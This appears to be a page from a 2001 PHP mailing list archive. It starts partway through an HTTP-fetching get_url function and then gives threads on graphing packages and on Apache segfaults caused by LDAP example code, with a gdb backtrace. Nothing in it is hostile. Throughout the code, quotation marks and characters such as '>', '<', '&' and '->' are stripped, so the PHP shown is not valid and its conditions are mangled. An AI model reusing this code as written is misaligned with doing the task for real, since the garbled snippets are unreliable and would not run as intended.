  }

   if(!isset($url))
  return array(content=' ',headers=' ',errcode=-1,errmsg='Fatal
Error: No URL defined');

$parsed_url = parse_url($url);

  if($robot_rules) {

   $robots_url = $parsed_url[scheme] . :// . $parsed_url[host];
   if($parsed_url[port]) $robots_url .= : . $parsed_url[port];
   $robots_url .= /robots.txt;
   if(!$this-robot_rules($url,$robots_url,$user_agent))
 return array(content=' ',headers='
',errcode=0,errmsg=Non-fatal Error: Robot Rules do not permit this
browser to access $url);

  }

   $req_mthd = strtoupper($req_mthd); // 2068 rfc says it's case
sensitive.

  $host = $parsed_url[host];

  if(!$host || $host=='' || !isset($host))
  array(content=' ',headers=' ',errcode=-1,errmsg='Fatal Error:
No URL defined');

  $path = $parsed_url[path];
  if(!$path || $path=='' || !isset($path))
  $path = /;

  $query = $parsed_url[query];
  if($query!='')
  $path = $path?$query;

  if(!isset($parsed_url[port])) {
   $port = 80;
  } else {
   $port = $parsed_url[port];
  }

  $timeout = time() + $time_out;

  $fp = fsockopen($host,$port,$errno,$errstring,$time_out);

 if(!$fp) {
  return array(content=' ',headers='
',errcode=0,errmsg=Non-Fatal Error: Could not make connection to url
$url (not found in DNS or you are not connected to the Internet));
 } else {

   set_socket_blocking($fp,1); // aral: set to 1 for it to work on
Windows  Unix

   $REQUEST = $req_mthd $path $protocol\n;
   if(eregi(^HTTP\/1\.[1-9],$protocol)) $REQUEST .= Host: $host\n;
   $REQUEST .= User-Agent: $user_agent\n;
  if($referer) {
   $REQUEST .= Referer: $referer\n;
  }
   $REQUEST .= Connection: close\n;

  if($cookies) {
   $REQUEST .= $cookies2send;
  }

  if($req_mthd==POST) {
   $REQUEST .= Content-length:  . (strlen($content)) . \n;
   $REQUEST .= Content-type: application/x-www-form-urlencoded\n;
   $REQUEST .= \n$content\n;
  }
  fputs($fp,$REQUEST\n); // complete the request
#  print $REQUEST\n;

  if($timeouttime())
   return array(content=' ',headers='
',errcode=0,errmsg=Non-Fatal Error: Timed out while downloading
page);
  while (!feof($fp)  time()$timeout) {
  $output = fgets($fp,255);

  $view_output .= $output;

if(!isset($header)) {
   if($output==\n || $output == \r\n || $output == \n\l) {
  $header = $view_output;
 $view_output = '';
   }
}

  }


 }

fclose($fp);

if(time()$timeout)
 return
array(content=$content,headers=$headers,errcode=0,errmsg=No
n-Fatal Error: Timed out while downloading page);

return
array(content=$view_output,headers=$header,errcode=1,errmsg=
Success);

} // end function get_url

/* * */

function get_headers($h) {
  $array = explode(\n,$h);

   

[PHP] PHP based statistics/Graphs

2001-07-17 Thread Chris Aitken

Hi everyone..

Just wondering if anyone can suggest any methods, or even pre-made packages 
which can be manipulated to show various statistics, charts, graphs etc on 
a whole range of things.

What im looking to do is run a whole bunch of statistics pages for where I 
work. Client stats, plan popularity, monthly income etc etc.

Just doing some research and figured you guys are the best place to get 
some info.



Cheers


Chris



--
 Chris Aitken - Administration/Database Designer - IDEAL Internet
  email: [EMAIL PROTECTED]  phone: +61 2 4628   fax: +61 2 4628 8890
  __-__
   *** Big Brother ***
It just shows that the dull will rule the world. And we will be watching it.


-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]




Re: [PHP] PHP based statistics/Graphs

2001-07-17 Thread Rasmus Lerdorf

I like Vagrant.  See http://vagrant.sourceforge.net

-Rasmus

On Wed, 18 Jul 2001, Chris Aitken wrote:

 Hi everyone..

 Just wondering if anyone can suggest any methods, or even pre-made packages
 which can be manipulated to show various statistics, charts, graphs etc on
 a whole range of things.

 What im looking to do is run a whole bunch of statistics pages for where I
 work. Client stats, plan popularity, monthly income etc etc.

 Just doing some research and figured you guys are the best place to get
 some info.



 Cheers


 Chris



 --
  Chris Aitken - Administration/Database Designer - IDEAL Internet
   email: [EMAIL PROTECTED]  phone: +61 2 4628   fax: +61 2 4628 8890
   __-__
*** Big Brother ***
 It just shows that the dull will rule the world. And we will be watching it.





-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]




[PHP] PHP code produces ocasional segfaults.

2001-07-17 Thread Santiago Romero


 Hi all...

 I'm new to PHP and I needed to implement some PHP functions on
 a php webmail. I readed the PHP MANUAL and I found a code that
 suits my needs in an example, but it produces segfaults.
 I added the following code:

 $ds=ldap_connect(ldap.server.com);
 if ($ds) 
 { 
   $r=ldap_bind($ds);
   $busca=[EMAIL PROTECTED];
   $sr=ldap_search($ds,dc=midomain,dc=com, $busca);  
   if( ldap_count_entries($ds,$sr)  1 )
 SetCookie( can_use_attachs, n, time()+3600 );
   else
   {
 $info = ldap_get_entries($ds, $sr);
 if( $info[0][canuseattachs][0] == 'y' )
   SetCookie( can_use_attachs, y, time()+3600 );
 else
   SetCookie( can_use_attachs, n, time()+3600 ); 
   }
   ldap_close($ds);
 }

 When I reload THOUSANDS of times the above page (using
 autoreload) and I've found that sometimes the above code
 produces an Apache Crash. I get a Document contained
 no data and apache/logs/error_log says:

 [notice] child pid 1234 exit with Segmentation Fault
 (core dump on /usr/apache).

 I have lots of them on different times:

[Wed Jul  4 09:10:22 2001] [notice] child pid 29834 exit
 signal Segmentation fault (11)
[Fri Jul  6 13:05:32 2001] [notice] child pid 30124 exit
 signal Segmentation fault (11)

  I did a backtrace on the core file:

(gdb) bt
#0  0xc01f2740 in kill () from /usr/lib/libc.2
#1  0x1a15a0 in sig_coredump ()
#2  signal handler called
#3  0xcda50 in read_next_token (tcm=0x40049b20, token=0x77ff1eb8,
phplval=0x77ff1d58) at token_cache.c:161
#4  0xb2f68 in phplex (phplval=0x77ff1d58) at main.c:488
#5  0xbb9d8 in phpparse () at /usr/lib/bison.simple:432
#6  0xb5974 in php3_parse (yyin=0x40113c98) at main.c:1564
#7  0xb5ed8 in apache_php3_module_main (r=0x400cd840, fd=26,
display_source_mode=0, preprocessed=0) at main.c:1929
#8  0xb18a4 in send_php3 ()
#9  0xb1970 in send_parsed_php3 ()
#10 0x197204 in ap_invoke_handler ()
#11 0x1ab36c in process_request_internal ()
#12 0x1ab3ec in ap_process_request ()
#13 0x1a2ff8 in child_main ()
#14 0x1a3254 in make_child ()
#15 0x1a35b8 in perform_idle_server_maintenance ()
#16 0x1a3b78 in standalone_main ()
#17 0x1a45c8 in main ()

 The line 161 of token_cache.c contains:

GLOBAL(tc)-count++;
   }
--*token = GLOBAL(tc)-tokens[GLOBAL(tc)-pos++];
return (*token)-token_type;
}

 
 I think something with my above code is wrong, because If I
 comment it using /* and */, then I don't get segfaults (never).
 Any idea of rewriting the above code so that it works would
 be very appreciated. To code the above I copied  pasted the
 PHP manual LDAP functions example, and that's why I'm asking
 directly here.

 Thanks a lot.

-- 
Santiago Romero
Departamento de Sistemas
[EMAIL PROTECTED]

Av. Primado Reig 189, entlo
46020 Valencia - Spain
Telf. (+34) 96 332 12 00
Fax. (+34) 96 332 12 01
http://www.servicom2000.com


-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]




<    1   2